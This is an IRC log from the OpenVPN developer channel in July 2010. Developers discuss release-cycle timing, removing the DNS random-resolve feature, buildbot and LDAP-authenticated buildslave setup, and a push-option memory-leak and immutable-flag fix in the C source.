<@mattock> agreed 13:56 <@dazo> the RC cycle is only stabilisation and bugfixes. When hitting the RC, that's when we know for sure which features should be included ... where we only fix stuff .... worst case, we can take out a feature if it really is horrendous to stability 13:57 <@dazo> so RC == no feature changes .... unless extreme situations and we can't fix the feature without breaking/changing too much of the code base 13:59 <@mattock> ...fixing compiz or something :) 14:00 <@dazo> heh ... compiz is probably not our preferred working model :-P 14:01 <@mattock> dazo: the plan sounds good... I'll go back to searching the old release cycle discussion. Perhaps we had some pearls of wisdom then 14:02 <@dazo> but we also should define some deadlines ... when starting the beta cycle ... we should have a goal for a date for when to hit RC ... and when being in RC we should have a goal date for when we're going gold 14:03 <@mattock> ok, could not find anything :( 14:04 <@mattock> dazo: do you have something in mind? beta -> rc in month? two months? 14:04 <@mattock> rc -> release? 14:04 <@dazo> rc = release candidate ..... gold = GA (General Availability) / official release 14:04 <@mattock> btw. as buildbot is now creating Debian packages, we can soon start distributing the latest and greatest OpenVPN "testing" very easily to users 14:05 <@mattock> which should cut down the release cycle length somewhat 14:05 <@dazo> hopefully 14:06 <@mattock> with the right advertisements on openvpn.net we should easily 2-5 the amount of -testing users 14:06 <@dazo> re: time scope ... ideally, I would say beta->rc should be 2-4 months (depending on feature list) .... and rc->gold should be 2-3 months 14:06 <@mattock> and after a GA release how much time until the next beta? 14:06 <@mattock> =total release cycle length 14:06 <@mattock> is 6 months reasonable? 14:07 <@mattock> I remember we talked about 12 months initially 14:07 <@dazo> yeah, I'd say 4-6 months 14:07 <@dazo> I think 12 months is too long, tbh 14:07 <@mattock> jamesyonan: what do you think? 14:07 <@mattock> I'd say 6 months, too... the less new features there are, the less need for extensive testing 14:07 <@dazo> exactly 14:08 <@mattock> the longer we postpone the releases, the more we have to test in beta/rc phases 14:08 < jamesyonan> I agree with 4 to 6 months 14:08 <@mattock> and I think we should try to keep a large subset of our users using pretty up-to-date versions of the software 14:09 <@mattock> I assume development will continue as usual during beta/rc phases? that is, outside the "to-be-stable" branches... 14:09 <@dazo> At the #openvpn channel, we usually tell people to update to latest release before we're helping further 14:10 <@dazo> development can continue in the appropriate branches independently .... but we won't merge in anything from those branches to the beta or rc branches 14:10 <@mattock> ok, so what about this cycle: 14:10 <@dazo> (unless it really makes sense, and those fixes to those branches are only fixes in the mean time) 14:12 <@mattock> GA release -> 2 months adding new features -> 2 months in beta (and adding features to other branches) -> 1-2 months in rc (and adding features to other branches) 14:12 <@mattock> or something like that 14:12 <@dazo> that was a bit more speedier than I expected :) 14:13 <@mattock> if we make too frequent releases we'll probably have trouble integrating big features (if any) 14:13 <@mattock> at least Ubuntu had this problem... 6 months is not a lot 14:13 <@dazo> yeah, that's my concern 14:13 <@dazo> I'm maintaining a couple of Fedora packages ... and you feel you've just rebased until the next round is there 14:13 <@mattock> but we could _try_ 6 months and see what happens 14:13 <@mattock> so far there have not been any really big changes 14:14 <@mattock> invasive changes, that is 14:14 <@dazo> II would suggest: GA -> 3 months devel -> 3 months beta -> 4 months RC -> GA 14:14 <@dazo> the reason for 4 months RC, is that we need to be sure the product is stable 14:15 <@mattock> yep 14:15 <@dazo> I know it's a lot, and it slows down the complete cycle, but I think we can have better control this way 14:15 <@mattock> we could cut down beta/rc time if no issues seem to arise 14:15 <@dazo> yes, and in some cases we might want it longer .... I can imagine when adding the IPv6 stuff, we would want it a bit longer 14:15 <@mattock> for example, if we know tons of people are using a beta but no bug reports are filed in 2 months 14:15 <@mattock> or something 14:16 <@dazo> yeah, something like that .... but I would also include support issues on forums and on irc as well 14:16 <@mattock> yep 14:17 <@mattock> I think we should start collecting download statistics for the beta2.2 when it's released 14:17 <@dazo> but we also do need to consider seasons as well ... July is not a month which a lot of changes happens, likewise around December ... so these months needs to not be counted 14:17 <@dazo> definitely 14:18 <@mattock> and I can get nice statistics from Apache and apt/yum repos on build.openvpn.net 14:18 <@mattock> when I get so far 14:18 <@dazo> perfect! 14:18 <@mattock> I don't have any clue how many people use "-testing" but it can't be much 14:18 <@mattock> mostly FreeBSD guys, I guess 14:19 < ecrist> mattock: are you pointing to my weekly builds now, or direct to source? 14:19 <@mattock> the weekly builds 14:19 < ecrist> mattock: I can tell you how many downloads have ocurred 14:19 <@mattock> ecrist: please do :) 14:19 < ecrist> it's multiple hundreds, though 14:19 * dazo estimates ~100 +- 25 14:19 <@dazo> for all weekly builds 14:20 <@mattock> not much, but a good start 14:20 <@mattock> when I get buildbot building the packages, I'll link to them from openvpn.net 14:20 <@mattock> that should do the trick 14:20 <@dazo> but I think this is due to availability ... I think there's quite some Linux and Windows users as well, who don't want to do the compiling themselves 14:21 <@mattock> I would not, unless I had to 14:21 <@dazo> exactly :) 14:21 <@mattock> even though I have no trouble compiling stuff myself 14:21 <@mattock> ok, so is it ~12 months release cycle? 14:22 <@mattock> unless the beta/rc releases seem to be very stable 14:22 <@mattock> in which case perhaps a little less 14:22 <@dazo> yes, I think actually that makes sense 14:22 <@mattock> dazo: so beta2.2 will be out in a week? 14:22 <@dazo> the beta2.2, I think can go quicker ... as the changes are mostly bugfixes and minor enhancements 14:23 <@cron2> re 14:23 <@dazo> I'm ready to have a rebased the beta2.2 branch soon, so next week would be doable 14:23 * cron2 just wants to say that "6 months" sounds like a workable compromise 14:23 <@dazo> cron2: from GA release to GA release? 14:23 <@cron2> yes 14:23 <@mattock> I'd say we see what happens with beta2.2 14:23 <@mattock> and continue from there 14:23 < ecrist> http://pastebin.com/5TrurYXA 14:23 <@mattock> we're all just guessing here :) 14:24 <@dazo> yeah, I'm worried that may too quick 14:24 < ecrist> that's the numbers from the current ftp server 14:24 <@cron2> mattock: yes 14:24 < ecrist> I don't have numbers available for the original ftp server handy 14:24 <@dazo> it's better than I expected 14:24 <@cron2> dazo: I'm worried that it's too slow :-) (IPv4 run-out in less than 12 months now). So it sounds like a compromise - everbody unhappy, but workable 14:25 <@dazo> cron2: fair enough ... but as I said, the beta2.2 can most probably roll much faster :) 14:25 <@mattock> ecrist: so those downloads are through FreeBSD ports system? 14:25 <@dazo> beta2.3 with IPv6 ... it's not many who have tested it yet ... even though I have a couple of private mails from people who promise to test it after their holidays 14:26 <@mattock> let's see how beta2.2 -> rc -> ga goes 14:26 < ecrist> add 23 downloads to weeks 7 and 12, and that's from the orig ftp server 14:26 < ecrist> mattock: those are freebsd ports downloads 14:26 <@cron2> dazo: IPv6 payload is being tested by a number of university OpenVPN servers over here, and no problem report so far 14:26 <@mattock> ok, one of them is mine :) 14:26 < ecrist> and anyone who may have browsed my ftp servers to pick it up 14:26 <@cron2> no idea about IPv6 transport testing, though 14:26 * dazo has done that a couple of times 14:27 <@mattock> ok, so let's aim for 6 months but be prepared for 12 months? 14:27 <@dazo> cron2: I'm getting more and more ready to setup a IPv6 for transport ... so I'll be testing that 14:27 <@cron2> good :) 14:27 <@dazo> mattock: oki, I can live with that 14:27 < berniv6> cron2: jjo's patches have served me well for years ... the interaction between transport and payload will be some hassle 14:27 < berniv6> if the route at the client includes the VPN server 14:27 <@cron2> dazo: there you go, testers :-) 14:28 <@dazo> cron2: but we might have an issue with the transport patches .... 14:28 <@cron2> berniv6: yes, this is a big chunk of work - "figure out what the current routing table looks like on platform X, adjust, and restore later on" 14:28 <@dazo> cron2: possible IPv6 transport issue ... it might break --multihome .... https://community.openvpn.net/openvpn/ticket/28 14:28 < vpnHelper> Title: #28 (Defect --multihome feature?) – OpenVPN (at community.openvpn.net) 14:29 <@mattock> what if we move on to the SVN merge conflict? 14:29 <@dazo> I've not completed my setup with a couple of virtboxes yet ... so I'm looking into it 14:29 <@cron2> dazo: I'd really love to see someone rewrite the whole "server side socket handling" soonish 14:29 <@mattock> cron2: wasn't this issue reported to Debian BTS? 14:29 <@mattock> they include the jjo patch 14:29 <@dazo> yes, it's in debian bts 14:29 <@cron2> dazo: add "multiple listening sockets" and fix the multihoming stuff 14:29 <@dazo> hehe :) 14:30 <@dazo> true! 14:30 <@mattock> SVN merge conflict, anyone? ;) 14:30 <@dazo> if jamesyonan is around to participate on that one, then yes :) 14:30 <@cron2> UDP, TCP, IPv4, IPv6, multihome, listen on unspecified address and respond with the correct address, etc. - that's a can of worms on its own :-) 14:30 <@cron2> (and all of this, system dependent like hell, of course) 14:30 <@dazo> cron2: sounds like OpenVPN :-P 14:31 <@mattock> jamesyonan: have you read this: http://thread.gmane.org/gmane.network.openvpn.devel/3845 14:31 < vpnHelper> Title: Gmane Loom (at thread.gmane.org) 14:31 <@cron2> dazo: indeed. (But enough of this for today, let's go to conflicts!) 14:31 <@dazo> :) 14:31 < jamesyonan> yeah, re: merge conflict, my intention was to support pushing routes involving DNS names that resolve to multiple entries 14:32 < jamesyonan> I also disabled DNS randomization 14:32 <@dazo> yeah ... and that I do applaud :) I've seen some questions/wishes for this a couple of places .... but I'm concerned about your concerns you raised a while ago, re: random resolving which disappears in this patch 14:34 <@dazo> jamesyonan: if you have changed your opinion about the random resolv issues you pointed out around March, I have no issues to pull out the --disable-random-resolv patch I wrote and merge in your stuff 14:34 <@dazo> that will solve this issue immediately 14:34 <@mattock> and this is related to the FRP: https://community.openvpn.net/openvpn/wiki/DeveloperDocumentation#Featuredeprecation 14:34 < vpnHelper> Title: DeveloperDocumentation – OpenVPN (at community.openvpn.net) 14:35 <@mattock> dazo: wasn't this random resolving already in the feature deprecation pipe? 14:35 <@dazo> mattock: it is 14:35 <@dazo> https://community.openvpn.net/openvpn/report/9 14:35 < vpnHelper> Title: Feature Removal Process – OpenVPN (at community.openvpn.net) 14:35 < jamesyonan> I did initially raise some issues about removing randomization, however it seemed that the consensus was that the capability was obsolete because DNS servers could handle randomization if desired 14:36 <@dazo> okay, so I vote for pulling out and closing the disable random patch in FRP ... it seems jamesyonan agrees to that too, with his better solution ... anyone against? 14:37 <@cron2> dazo: +1, less optional code bits -> good :) 14:37 <@mattock> can our users get hurt by this? if they depend on the random resolving stuff? 14:37 <@mattock> if so, we should follow the FRP 14:38 <@dazo> Yes, *if* someone uses the FRP ... then yes, they will notice it .... however, I think very few, if any, really do depend on it 14:38 <@mattock> you mean "uses the random resolving"? :) 14:38 <@dazo> we've had some mails on -devel and -users about it ... and nobody have really responded 14:39 <@mattock> that's true 14:39 -!- krzie is now known as krzee 14:39 <@dazo> responded = "yes we/I use it" 14:39 <@mattock> do you think the FRP is too "heavy"? 14:40 < jamesyonan> people can always use multiple remote options + remote-random to accomplish nearly the same thing 14:40 <@dazo> I think we can consider to skip the "disable on request phase" ... and go straight to "disabled by default, enable on request" phase 14:40 <@mattock> jamesyonan: ok 14:40 <@mattock> ok, so this is the first step: "Make the feature disabled by default, but allow enabling it at compile-time" 14:41 <@dazo> yes 14:41 <@mattock> I agree... too complex processes tend not to be followed 14:41 <@dazo> and that will smoke out those users who really do use it 14:41 <@mattock> yep, I'm pretty sure nobody pays attention to runtime warnings 14:42 <@mattock> and the complaints only start after a feature is disabled by default 14:42 <@dazo> not until they ask for help on #openvpn ... and people there tells them to "fix those warnings and errors first, then come back!" :-P 14:42 <@mattock> I'll update the FRP wiki page, it's somewhat outdated 14:42 <@dazo> thx! 14:43 <@mattock> ok, so shall we include James' patch and bypass FRP? 14:43 <@dazo> yes, it seems there is consensus for that now 14:44 <@cron2> +1 14:44 <@dazo> in regards to random resolv, that is 14:44 <@mattock> ok, let's do that then 14:44 <@mattock> and simplify the FRP 14:45 <@mattock> anything else? 14:45 <@dazo> not from my side 14:45 <@mattock> or shall I let you know about status of forums and buildbot? 14:45 <@mattock> ok 14:45 <@dazo> I'll clean up the beta2.2 branch ... and prepare it for next week 14:45 <@dazo> buildbot status, please!!! :) 14:46 <@mattock> ok... so yesterday I managed to make buildbot build Debian Lenny amd64 packages 14:46 <@dazo> \o/ 14:46 <@mattock> I need to dig more into Debian packaging to make sure everything works properly 14:47 <@mattock> but as long as somebody has already created OpenVPN packages, rebuilding them with different (="testing") sources is pretty trivial 14:47 <@mattock> regardless of the OS in question 14:47 <@mattock> for debian it's just "dpkg-buildpackage" (or what was it) 14:47 <@mattock> and perhaps editing of a few files 14:48 <@mattock> anyhow, I should get at least Debian Lenny i386 VM which I can use to build i386 packages 14:48 <@mattock> and Ubuntu 10.04 VM's should be coming up soonish 14:48 <@dazo> building rpms should be pretty straightforward if you have rpmbuild ... I think that's available as well for Debian 14:49 <@dazo> (but building on proper RHEL/CentOS or Fedora might be more beneficial) 14:49 <@mattock> if we want the CI stuff, too, we should have RHEL/CentOS/Fedora VM's too 14:49 <@dazo> yeah 14:49 <@mattock> also, I'd rather not try building Fedora/CentOS _binaries_ on a Debian box :D 14:49 <@mattock> it sounds like trouble 14:50 <@dazo> I can look into (as a low prio task) a patch for Gentoo builds as well 14:50 <@cron2> mattock: yep, library versions, etc. "don't go there" 14:50 <@dazo> mattock: it can work, if the libraries are the same 14:50 <@mattock> in any case it would be a big hassle 14:50 * dazo agrees with cron2 though :) 14:51 <@mattock> anyhow, do you guys have any spare VM's lying around? 14:51 <@mattock> it seems we (at the company) don't have unlimited resources as I believed :) 14:51 <@dazo> heh :) 14:51 <@mattock> not much resources are required... maybe 512MB mem max... and 2-4GB disk 14:52 <@mattock> per platform, that is 14:52 <@dazo> I might be able to dig up something .... I have access to a server, but I don't want to misuse my trust in that organisation 14:52 <@mattock> dazo: please don't, this is not that important 14:52 <@dazo> that would be for CentOS ... which would cover RHEL 14:52 <@mattock> I can also ask in the -devel mailinglist 14:53 <@mattock> I'm sure we'll get a bunch of VM's from the community if we want to 14:53 <@mattock> and also get the (user) community involved 14:53 <@dazo> mattock: for RHEL/CentOS and Fedora ... there's already koji which is available for all Fedora packagers .... and you can do so called scratch builds, which will build for the given platform .... and you can download the packages when done 14:54 <@mattock> hmm, koji... heard of that 14:54 <@mattock> ok, but koji is _just_ a buildsystem, right? 14:54 <@dazo> mattock: you basically do .... koji build --scratch --target dist-epel-EL5 14:54 <@mattock> oh, I see 14:55 <@mattock> so I could have CentOS VM and build for several platforms? 14:55 <@dazo> yeah, koji is just for building 14:55 <@dazo> mattock: you could even have whatever OS, you just need to have the needed Python libs for the koji client ... and be able to produce src.rpms 14:56 <@mattock> I think we should have one VM/server for each platform/architecture... to get the full benefit of Continuous integration (=build failure notifications) 14:56 <@dazo> mattock: http://koji.fedoraproject.org/koji/packageinfo?packageID=10647 .... that's the build I did for eurephia 14:56 <@cron2> well, for the most commonly used ones, yes 14:56 < vpnHelper> Title: eurephia | Package Info | Koji (at koji.fedoraproject.org) 14:56 <@mattock> cron2: agreed 14:56 <@cron2> I have my doubts that "NetBSD/Sparc32" is a mass market :) 14:57 <@dazo> heh :) 14:57 <@mattock> and the nice thing is that the community can provide buildslave VM's for those corner cases 14:57 <@cron2> OTOH, NetBSD/Sparc64 is a fairly good test platform, as it's "wrong endian" and 64 bit time_t != 32 bit int, and other interesting surprises to sloppy C programmers 14:57 <@mattock> they only need to have buildbot running in "slave" mode and have the password 14:58 <@dazo> cron2: would ppc64 be sufficient? that's also a big-endian platform 14:58 <@mattock> of course, we have to trust the people running the slaves. Although commands only go from master -> slave, but still 14:58 <@cron2> dazo: as far as I understand, it uncovers similar bugs, yes 14:58 <@mattock> cron2: I think we should definitely get these funky platforms to make sure the code is portable 14:59 <@dazo> mattock: trust can be built by letting master and slaves communicate over VPN ;-) 14:59 <@cron2> mattock: yes 14:59 <@mattock> I'll send mail to -devel tomorrow 14:59 <@dazo> and if they fail us ... remove access, and harm is reduced immediately 14:59 <@mattock> dazo: yep, good idea 15:00 <@cron2> mattock: but those are not really VM friendly, so you need "real iron". I think I can provide Sparc64/Solaris10 and Sparc64/NetBSD, if someone tells me how to setup things 15:00 <@mattock> cron2: that'd be great! 15:00 <@mattock> although I have no idea how to set them up 15:01 <@cron2> mattock: can you put into the wiki how to setup buildbot as a slave? 15:01 <@mattock> it'd be best if we got the VM's / servers from somebody who knows them inside out and can setup buildbot him/herself 15:01 <@mattock> cron2: will do 15:01 <@cron2> well, I know my machines, but have never done anything with buildbot :-) 15:02 <@mattock> cron2: ok, good... buildbot is relatively easy to setup 15:02 <@mattock> at least on Debian/Ubuntu 15:02 <@mattock> probably on most other platforms, too 15:02 <@mattock> I'm not sure how picky it's about server<->client software versions, though 15:03 <@mattock> I'll setup buildbot on this laptop tomorrow and document the generic process to Trac 15:03 <@mattock> and send mail to -devel after that 15:03 <@cron2> cool 15:03 <@mattock> omg, I got to setup OpenVPN with LDAP auth, too, first 15:03 <@mattock> as agreed in earlier meeting 15:04 <@mattock> much to do for tomorrow :) 15:05 <@mattock> so in a nutshell, the buildbot setup would be as follows: 15:05 <@mattock> - access to buildbot and buildbot web interface would be through OpenVPN 15:05 <@mattock> - OpenVPN would authenticate against LDAP 15:05 <@mattock> - some buildslaves would be provided by the company, others by the community 15:05 <@mattock> so, if you're contributing a buildslave, you could access the buildbot web interface and see what's happening 15:06 <@mattock> if you're not, then you don't have any access 15:06 <@cron2> yep 15:06 <@mattock> expect to the resulting packages 15:06 <@mattock> ok, that's about it I guess 15:06 <@mattock> a quick update on forums 15:06 <@mattock> so everything's pretty much set... only theming is missing 15:07 <@mattock> I tested migrating existing ovpnforum.com user into LDAP, sending them new random password in mail and it all worked great 15:07 <@mattock> the launch date is set as Aug 13th 15:07 <@mattock> so there's plenty of time left 15:08 <@mattock> I guess that's all from me 15:08 <@mattock> anything else? 15:08 <@dazo> sounds good to me :) 15:08 <@dazo> been a long and good meeting today :) 15:08 <@mattock> correction: I tested migrating _fake_ ovpnforum.com users to LDAP :) 15:09 <@mattock> yep, only 2 hours 15:09 <@mattock> :D 15:09 <@dazo> :) 15:09 <@mattock> anyways, I'll summarize all of this tomorrow 15:09 <@mattock> expect the first part 15:09 <@mattock> :) 15:09 <@mattock> see you guys later! 15:09 <@mattock> good night! 15:10 <@dazo> good night! 15:10 <@cron2> good night! 16:09 -!- dazo is now known as dazo_afk 16:48 -!- krzee [~k@unaffiliated/krzee] has quit [Ping timeout: 276 seconds] 19:21 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 23:22 -!- mape2k [~mape2k@2001:6f8:997:1000:221:86ff:fe98:93a2] has joined #openvpn-devel --- Day changed Fri Jul 23 2010 02:00 -!- dazo_afk is now known as dazo 02:15 <@mattock> developer documentation and FRP pages updated 02:15 <@mattock> they were somewhat outdated 02:26 <@dazo> nice! 02:27 * dazo is about to write a summary now re: ticket #29 02:56 <@mattock> just sent the summary to ml 02:56 <@mattock> dazo: great! 02:56 <@mattock> I'll have a short break now and get to buildslave configuration + openvpn w/ LDAP auth 02:59 -!- mape2k [~mape2k@2001:6f8:997:1000:221:86ff:fe98:93a2] has quit [Ping timeout: 252 seconds] 03:01 <@dazo> great! 03:49 <@mattock> I reorganized the Trac main page (https://community.openvpn.net/openvpn/wiki) a little... let me know what you think 03:49 < vpnHelper> Title: OpenVPN (at community.openvpn.net) 03:50 <@mattock> I'll start writing the buildslave document now 04:07 <@mattock> first version here: https://community.openvpn.net/openvpn/wiki/SettingUpBuildslave 04:07 < vpnHelper> Title: SettingUpBuildslave – OpenVPN (at community.openvpn.net) 04:15 < chantra> dazo: i am not sure if this is the push_list lifecycle: http://pastebin.org/413016 04:16 < chantra> am i wrong or is it more or less correct? 04:19 < chantra> by the way.... it seems that http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=blob;f=push.c;h=1320bec5221399656fc34b1fe32583ca99d04720;hb=refs/heads/bugfix2.1#l260 04:19 < vpnHelper> Title: SourceForge - openvpn/openvpn-testing.git/blob - push.c (at openvpn.git.sourceforge.net) 04:19 <@dazo> chantra: it's something like that ... I have not gone in details on the complete cycle, but it sure looks something like that 04:19 < chantra> should be e->enable = enable 04:20 < chantra> dazo: if this is it, 1st, I think there is a memleak in push reset 04:20 < chantra> http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=blob;f=options.c;h=b78158e276846c11ca4cdf28e33ac783de5e5f43;hb=refs/heads/bugfix2.1#l4792 04:20 < vpnHelper> Title: SourceForge - openvpn/openvpn-testing.git/blob - options.c (at openvpn.git.sourceforge.net) 04:20 < chantra> should free the list content and reset list head/tail (except if the gc is taking care of it) 04:21 < chantra> but if there is no gc, then the memory might just be lost 04:21 < chantra> I guess I am wrong :p 04:23 < chantra> basically, immutable flag seems doeable push_option will push a non-immutable option, there can be a option_set_immutable function that will take care of the special cases 04:24 < chantra> and then, on push_reset, do not clear the head and tail, but remove from chained list the non-immutable nodes 04:24 <@dazo> wow ... tree topics in parallel! :-P 04:24 * dazo is getting dizzy 04:25 < chantra> dazo: yeah i stumbled upon the 2 others trying to understand how option_list was handled ;) 04:25 <@dazo> re: memleak with push_reset() ... It sure can look so 04:26 <@dazo> push_reset() should loop the elements and free the elements 04:26 < chantra> dazo: i know f-all about the GC allocs... so maybe there is some magic there 04:27 < chantra> x_gc_free http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=blob;f=buffer.c;h=c7a42fbace8f37464809cfda912021122c0caba9;hb=refs/heads/bugfix2.1#l324 04:27 < vpnHelper> Title: SourceForge - openvpn/openvpn-testing.git/blob - buffer.c (at openvpn.git.sourceforge.net) 04:27 < chantra> seems to be doing some funky stuff there 04:28 < chantra> dazo: yeah, i think gc handles it 04:29 < chantra> in push_option_ex, new entry are allocated with 04:29 < chantra> ALLOC_OBJ_CLEAR_GC (e, struct push_entry, &o->gc); 04:29 <@dazo> I don't think it's enough, tbh ... as you have linked->linked->linked list ... and when you memset() the middle one, you've lost the references ... and when running x_gc_free() on the first one, I'm not sure it manages to follow all 04:29 <@dazo> hmm 04:29 <@dazo> good catch 04:29 < chantra> AFAIU, gc will keep track of mem allocation zones ,and delete them 04:29 < chantra> ok, so only 04:29 < chantra> e->enable = enable 04:29 < chantra> that is obvious 04:30 < chantra> :) 04:30 < chantra> and then, handling push-reset is quite trivial 04:31 * dazo thinks that the push_reset() functions is pointless 04:32 < chantra> when pushing a new option which is immutable, list->tail can be set through option_set_immutable( option_entry ) 04:33 < chantra> push_reset should not clear head/tail, but remove non-immutable nodes 04:33 < chantra> and gc will handle the freeing alone 04:33 <@dazo> push_reset() don't need to do any thing at all ... you can do all in send_push_reply() ... it's just to do an if() there 04:34 <@dazo> and then, the memory leak is gone as well, because you don't mess with the option list 04:34 < chantra> but then, if you only appends, how to you differenciate global config from ccd config ? 04:35 <@dazo> you don't ... you only care about those elements which do not have an immutable flag set ... or it might be that ->enable might be useful for this 04:35 * dazo is digging up ->enable code 04:36 < chantra> dazo: yeah, push_reset can set to disable any non-imutable nodes before adding ccd's options 04:36 < chantra> dazo: well, ATM, ->enable default to true :) 04:36 < chantra> so it is not much used :) 04:37 <@dazo> push_reset() is pointless ... it's not needed ... you set the right flag when doing push_option() stuff .... looping once again to flip flags in push_reset() is wasting of CPU cycles 04:37 <@dazo> e->enable is set two places ... and used two places ... so I need to dig up what they are 04:38 <@dazo> options.c:978: if (e->enable) 04:38 <@dazo> push.c:186: if (e->enable) 04:38 <@dazo> push.c:260: e->enable = true; 04:38 <@dazo> push.c:435: e->enable = enable; 04:43 < chantra> but at least, in push.c:260, that makes push.c:250 useless 04:44 <@dazo> you mean push_option() is useless with push_option_ex() ? 04:45 < chantra> no, in push_option_ex, the enable parameter is not used 04:45 < chantra> it is a function argument, but is not used 04:45 <@dazo> actually, the e->enable = true in push.c:260 can be changed to e->enable = enable 04:45 < chantra> that is what i meant :) 04:46 < chantra> or push_option_ex (o, opt, true, msglevel); and push_option_ex (o, opt, false, msglevel); will be exactly the same 04:46 <@dazo> yes 04:47 <@dazo> anyway, we cannot use e->enable as an immutable flag .... because we need to see that in connection with a push_reset flag 04:48 <@dazo> as remove_iroutes_from_push_route_list() may set enabled or not .... depending on which routes have been sent over the wire 04:48 < chantra> arg :) 04:48 <@dazo> so we can't filter on push_reset and enable 04:49 <@dazo> anyway, no harm in cleaning up push_option_ex() and push_option() 04:49 < chantra> and what about.... 04:50 * dazo is tempted to change push_option_ex() by removing enabled and renaming it to push_option() 04:50 < chantra> when pushing server side options, set to immutable or not some of them like topology/route-gateway 04:50 < chantra> then, when adding client push options, set them immutable 04:50 < chantra> when sending push_reply, if push-reset was provided, only push enabled && immutable 04:50 <@dazo> yes, it needs to be something like that 04:51 <@dazo> that's exactly my though :) 04:51 < chantra> :) 05:05 -!- mape2k [~mape2k@2001:6f8:997:1000:221:86ff:fe98:93a2] has joined #openvpn-devel 05:09 <@mattock> chantra: is this your work: http://redmine.debuntu.org/projects/openvpn-ldap-auth/wiki 05:09 < vpnHelper> Title: openvpn-ldap-auth - Wiki - Redmine@Debuntu (at redmine.debuntu.org) 05:09 <@mattock> ? 05:10 <@mattock> I guess I'll be using it for OpenVPN on build.openvpn.net 05:13 < chantra> mattock: yep.... and this is working on an extension to it that i had #29 :) 05:13 <@mattock> great! 05:13 < chantra> i am adding ldap ccd conf 05:14 * chantra the ldap schema is dodgy for now :) 05:14 <@mattock> I'll be sending fixes to your wiki pages / installation documentation if I find any errors ;) 05:14 < chantra> still work in process though 05:14 < chantra> mattock: yeah :) you will be the second user ;) 05:14 <@mattock> great! good this LDAP auth plugin is well, tested :D 05:15 <@mattock> well tested 05:15 < chantra> mattock: works fine in my environment so far :p 05:16 <@mattock> I assume it supports groups if one creates a correct search filter? 05:16 < chantra> yeah, you can use something like http://redmine.debuntu.org/projects/openvpn-ldap-auth/repository/revisions/master/entry/tests/config.conf 05:16 < vpnHelper> Title: openvpn-ldap-auth - /tests/config.conf - Redmine@Debuntu (at redmine.debuntu.org) 05:25 <@mattock> chantra: thanks! I already have some updates to the documentation 05:25 <@mattock> first, doesn't I have to install -dev packages to build? 05:25 <@mattock> runtime deps are not enough, right? 05:25 <@mattock> also, package names are different on Debian Lenny: 05:25 <@mattock> "libldap-2.4-2", "libpthread-stubs0", "libtool" 05:25 <@mattock> ...for dependencies 05:26 <@mattock> -> lunch 05:26 <@cron2> mattock: welcome to the fun of linux distributions :-) 05:26 <@mattock> cron2: well, I've marinated myself with Linux since 1998 so I know how fun this can be :D 05:27 * cron2 shuts up :-) 05:32 < chantra> mattock: yeah by libldap I meant dev package 05:33 < chantra> after "make" you might want to test your conf with ./tests/testplugin -c /path/to/pluginconf 05:33 < chantra> shity test script bu you can see if you can authenticate or not :) 06:33 < chantra> dazo: was checking a way to sort #29 out 06:34 < chantra> I eould get with a patchs looking like http://pastebin.org/413118 06:35 < chantra> walking the list after receiving options from multi_client_connect_post_plugin 06:36 < chantra> does not seem avoidable 06:39 * dazo is in a meeting now .... brb 06:44 < chantra> setting to immutable should be also done after multi_client_connect_post in multi.c:1548,multi.c:1605 and options_server_import multi.c:1505,multi.c:1490 06:44 < chantra> well, early week-end time 06:44 < chantra> enjoy the meeting 06:51 -!- mape2k [~mape2k@2001:6f8:997:1000:221:86ff:fe98:93a2] has quit [Read error: Operation timed out] 10:15 -!- krzee [nobody@unaffiliated/krzee] has joined #openvpn-devel 11:13 -!- krzee [nobody@unaffiliated/krzee] has quit [Quit: This computer has gone to sleep] 12:16 -!- dazo is now known as dazo_afk 12:47 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 12:57 -!- krzee [nobody@unaffiliated/krzee] has joined #openvpn-devel 13:57 -!- openvpn2009 [~admin@adsl-71-140-186-190.dsl.pltn13.pacbell.net] has joined #openvpn-devel 13:57 -!- mode/#openvpn-devel [+o openvpn2009] by ChanServ 14:18 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 258 seconds] 14:30 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 14:30 -!- mode/#openvpn-devel [+o mattock] by ChanServ 15:00 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 258 seconds] 16:02 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Read error: Operation timed out] 18:23 -!- krzee [nobody@unaffiliated/krzee] has quit [Quit: This computer has gone to sleep] 18:42 -!- krzee [nobody@unaffiliated/krzee] has joined #openvpn-devel 19:48 -!- krzee [nobody@unaffiliated/krzee] has quit [Quit: This computer has gone to sleep] --- Day changed Sat Jul 24 2010 00:00 -!- mape2k [~mape2k@p5B285D51.dip.t-dialin.net] has joined #openvpn-devel 00:21 -!- krzee [nobody@unaffiliated/krzee] has joined #openvpn-devel 02:17 -!- mape2k [~mape2k@p5B285D51.dip.t-dialin.net] has quit [Ping timeout: 248 seconds] 04:25 -!- mape2k [~mape2k@2001:6f8:997:1000:221:86ff:fe98:93a2] has joined #openvpn-devel --- Log closed Sat Jul 24 07:12:21 2010 --- Log opened Sat Jul 24 07:49:55 2010 07:49 -!- ecrist [~ecrist@pdpc/supporter/professional/ecrist] has joined #openvpn-devel 07:49 -!- Irssi: #openvpn-devel: Total of 14 nicks [4 ops, 0 halfops, 0 voices, 10 normal] 07:50 -!- Irssi: Join to #openvpn-devel was synced in 34 secs 07:50 -!- vpnHelper [~vpn@unaffiliated/krzee/bot/vpnhelper] has joined #openvpn-devel 10:19 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 10:19 -!- mode/#openvpn-devel [+o mattock] by ChanServ 12:03 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 12:29 -!- krzee [nobody@unaffiliated/krzee] has quit [Quit: This computer has gone to sleep] 13:09 -!- chantra [~chantra@unaffiliated/chantra] has quit [Ping timeout: 240 seconds] 13:11 -!- chantra [~chantra@unaffiliated/chantra] has joined #openvpn-devel 13:13 -!- yam [yam@castor.xenbox.fr] has quit [Ping timeout: 260 seconds] 13:14 -!- mape2k 